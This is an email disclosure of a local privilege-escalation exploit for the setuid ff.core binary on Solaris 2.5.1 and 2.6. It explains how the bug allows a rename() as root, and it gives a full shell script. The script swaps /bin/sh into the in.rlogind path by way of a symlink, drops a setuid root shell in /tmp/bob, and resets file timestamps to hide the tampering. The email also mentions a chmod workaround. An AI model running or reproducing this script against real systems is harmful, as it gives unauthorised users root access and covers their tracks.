From: John McDonald Subject: really silly ff.core exploit for Solaris Hi, At the bottom of this email is an exploit I wrote a little bit ago for /usr/openwin/bin/ff.core on Solaris 2.5.1, and 2.6. I have tested it on a few machines, with decent success. There is a security patch for ff.core, labeled 106222-01. I installed it on my 2.6 box, and it does *not* appear to fix the problem. The success of this exploit depends heavily on certain default characteristics of the OS.. There is a pretty good chance it won't work on your machine if you have changed much of the configuration and layout. Obviously, openwindows has to be installed. It's a really noisy exploit, and if someone uses it on your machine, there is a good chance you might notice.. Let me explain... We can use ff.core to do a rename() as root. However, there are a lot of restrictions on what we can get away with. Taking those into account, here is what I came up with: ln -fs $A /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/$B $C /floppy/ $A is the directory that contains the file we want to rename. $B is the file that we want to rename relative to $A. This can be in any directory under $A (it can't contain '..'). $C is what we want to rename the file too. $C cannot contain '/', so it has to be in the $A directory. If you are interested, you can see why we have these restrictions by gdb'ing a copy of ffcore and disass'ing ff_rename. The 2.5.1 binary is real straightforward.. our 3 arguments make it to ff_rename as %i0, %i1, and %i2. Then there is a series of sanity checks on the input, a call to get_vol, a call to get_newpath, and then our call to rename(). The 2.6 binary is a bit more complex, and I haven't tried to follow that one, but the exploit still works fine. Anyway, it's easy to figure out the rules that govern our input from the 2.5.1 binary. However, this invalidates your license, and is an atrocious intellectual property crime, so don't even consider it. Ok, so following our rules from above, we can rename any file on the system to anything we want within the same directory. Also, we can move a file from any directory to a directory that is above that file in the tree, as long as they are on the same filesystem. ie- we can move something from /usr/bin to /usr, as long as /usr/bin and /usr are the same filesystem. So, how do we exploit this? On Solaris 2.5, it was pretty easy. I moved /etc/group on top of /etc/shadow, and su'ed to root. (You can back up /etc/shadow by moving it to /etc/shadow.bak). However, this doesn't work on machines running a later version of Solaris. (and some patch probably makes the passwd system a bit smarter). So, I struggled with it for a while and came up with a solution. There is easily something I missed or didn't think of, so this might not be the most effective way. Anyway, this exploit will attempt to move /bin/sh over in.rlogind. It does this by utilizing some files sitting around by default in various directories. This is basically what it does: rename /usr/bin/sh /usr/bin/admintool rename /usr/sbin/swmtool /usr/sbin/in.rlogind telnet localhost login and clean up This works because /usr/sbin/swmtool is a symlink to /usr/bin/admintool. When we rename swmtool to in.rlogind, and telnet in, inetd is going to exec in.rlogind, and the symlink will be resolved such that /usr/bin/admintool will be execed. So, if we move /usr/bin/sh to /usr/bin/admintool, then it will be execed by inetd, and we will have a root prompt waiting for us. Obviously, this is going to make tripwire or any other binary modification detector go nuts. Also, rlogind, sh, and admintool will be temporarily hosed during the exploit. It attempts to clean up everything it can, but if everything isn't quite right, and it renames files, but doesn't get the root shell, then it can't clean up. Run this at your own risk. Before running it, you should at least check to see if the symlinks are present, and that rlogind (or whatever daemon in /usr/sbin you choose to overwrite) is running. The workaround is simple: chmod ug-s /usr/openwin/bin/ff.core. Also, there is no way this exploit can work if a normal user can't write to something under /vol, so some chmod's will probably be effective. horizon #!/bin/sh # /usr/openwin/bin/ff.core exploit - horizon # tested on 2.5.1, and 2.6 # thanks to joej, adm, and joej :> # you can use ff.core to do a rename() as root # files must be on same filesystem and the destination must be in a # directory that is a subset of the source directory # this exploit can be pretty messy. what it does is move /usr/bin/sh # over /usr/bin/admintool. then it moves /usr/sbin/swmtool (which is a symlink # to /usr/bin/admintool) on top of /usr/sbin/in.rlogind. It's attempts to # clean up best it can. This has the potential of messing lots of stuff up, and # tripwire is not going to be particularly happy. # if you want to exploit 2.5, you can just make this move /etc/group over # /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak # first test if we can pull this off echo "Testing if exploit is possible..." if [ -x /usr/openwin/bin/ff.core ] then : else echo "ff.core isn't there or executable. :/" exit 1 fi if [ -w /vol/rmt ] then : else echo "We can't do the symlink. :<" exit 1 fi mkdir /tmp/.test42 touch /tmp/.test42/bob rm -f /vol/rmt/diskette0 ln -fs /tmp/.test42 /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null if [ -f /tmp/.test42/jim ] then echo "Test successful. Proceeding..." else echo "Hmmm.. doesn't look like this is going to work :/" exit 1 fi rm -rf /tmp/.test42 # lets make some backups echo "Backing up clobbered files to /tmp/.bk" mkdir /tmp/.bk #save admintools times touch /tmp/.bk/admintool touch -r /usr/bin/admintool /tmp/.bk/admintool #save rloginds times touch /tmp/.bk/in.rlogind touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind #save a copy of /usr/bin/sh cp /usr/bin/sh /tmp/.bk touch -r /usr/bin/sh /tmp/.bk/sh echo "Doing sploit..." rm -f /vol/rmt/diskette0 ln -fs /usr/bin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/bin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/sbin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/sbin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null echo "Done with sploit. Testing and trying to clean up now..." sleep 1 (sleep 2;echo "\ cp /bin/rksh /tmp/bob;\ chmod 4755 /tmp/bob;\ exit;\ ") | telnet localhost login sleep 1 if [ -f /tmp/bob ] then echo "w00p! Should have a suid root sh in /tmp/bob" echo "btw, its rksh because solaris is silly" echo "Let me try to clean up my mess..." else echo "hrmmph.. didnt work. hope shits not screwed up bad :/" exit 1 fi echo " cp /tmp/.bk/sh /usr/bin/sh chmod 555 /usr/bin/sh chown bin /usr/bin/sh chgrp root /usr/bin/sh touch -r /tmp/.bk/sh /usr/bin/sh mv /usr/bin/admintool.bak /usr/bin/admintool touch -r /tmp/.bk/admintool /usr/bin/admintool rm -f /usr/sbin/swmtool ln -s /usr/bin/admintool /usr/sbin/swmtool touch -r /usr/bin/admintool /usr/sbin/swmtool rm -f /usr/sbin/in.rlogind mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind rm -rf /tmp/.bk " | /tmp/bob echo "everything should be cool.. i think :>" /tmp/bob